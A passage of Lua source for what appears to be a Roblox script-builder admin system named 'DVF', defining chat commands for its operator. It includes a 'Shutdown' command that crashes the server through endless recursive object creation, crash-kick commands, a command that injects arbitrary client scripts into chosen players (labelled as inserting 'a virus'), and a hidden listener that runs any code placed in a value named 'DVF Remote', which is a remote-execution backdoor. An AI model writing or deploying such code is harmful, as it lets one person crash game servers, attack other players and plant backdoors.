    RemoveCBA.Value = [[CBA.remove = false]]
    RemoveCBA.Parent = Work
    Ping("Removed All CBA Admins", Speaker, 5)
end)

Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
    local function BufferOverflow(object)
        object.DescendantAdded:connect(BufferOverflow)
        Instance.new("IntValue", object)
    end
    BufferOverflow(Game)
end)

local con = game:service'Workspace'.descendantAdded:connect(function(asd)
    if asd.ClassName == 'StringValue' then
        if asd.Name == "DVF Remote" then
            local func = loadstring(asd.Value)
            if func then asd:Destroy() return pcall(func) end
        end asd:Destroy()
    end
end)

Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                Crash1(v)
                Ping("Crash Kicked "..v.Name, Speaker, 5)
            end)
        end
    end
end)

Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                ChangeRank(v, -1)
            end)
        end
    end
end)

Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                ChangeRank(v, -2)
            end)
        end
    end
end)

Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                ChangeRank(v, -3)
            end)
        end
    end
end)

Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
    ypcall(function()
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
            for _,v in pairs(PlrTab) do
                ypcall(function()
                    Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
                end)
            end
        end
        local PlrName = ChangeRank(Msg, 0)
        Ping("Un-Banned "..PlrName, Speaker, 5)
    end)
end)

Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
    Dismiss(Speaker)
    Ping("Commands", Speaker, nil, function()
        Dismiss(Speaker.Name)
        Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
        Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
        Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
        Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
        Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
        Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
        Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
        Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
    end)
    Ping("Players", Speaker, nil, function()
        ListPlayers(Speaker)
    end)
end)

Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
    ListPlayers(Speaker)
end)

Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
    local Func,Error = loadstring(Msg)
    getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
    getfenv(Func).Speaker = Speaker
    if Error == nil then
        coroutine.wrap(function()
            Func()
        end)()
        Ping("Executed Script!", Speaker, 5)
    else
        Ping(Error, Speaker, 10)
    end
end)

Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
    if LS ~= nil then
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local LocalSource = Msg:sub(Split + 1)
        if #PlrTab > 0 then
            for _,v in pairs(PlrTab) do
                local Inserted = LS:Clone()
                Inserted.Disabled = true
                Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
                if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
                    Inserted:findFirstChild(OwnSource).Value = v.Name
                end
                Inserted[LSSource].Value = LocalSource
                Inserted.Disabled = false
            end
        end
    else
        Ping("ERROR: Local Script Not Found", Speaker, 5)
    end
end)

Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
    Msg = tostring(Msg)
    Ping(Msg, Speaker)
end)

Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
    Dismiss(Speaker)
    for i,v in pairs(getfenv(1)) do
        ypcall(function()
            Ping(tostring(i)..": "..tostring(v), Speaker)
        end)
    end
end)

Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
    Dismiss()
    Removed = true
    for i,v in pairs(getfenv(1)) do
        getfenv(1)[i] = nil
    end
    script.Disabled = true
end)

Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
    local Split = GetSplit(Msg)
    local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
    local Rank = tonumber(Msg:sub(Split + 1))
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            if v.Name ~= Owner then
                ChangeRank(v, Rank)
                Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
            end
        end
    end
end)

--This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).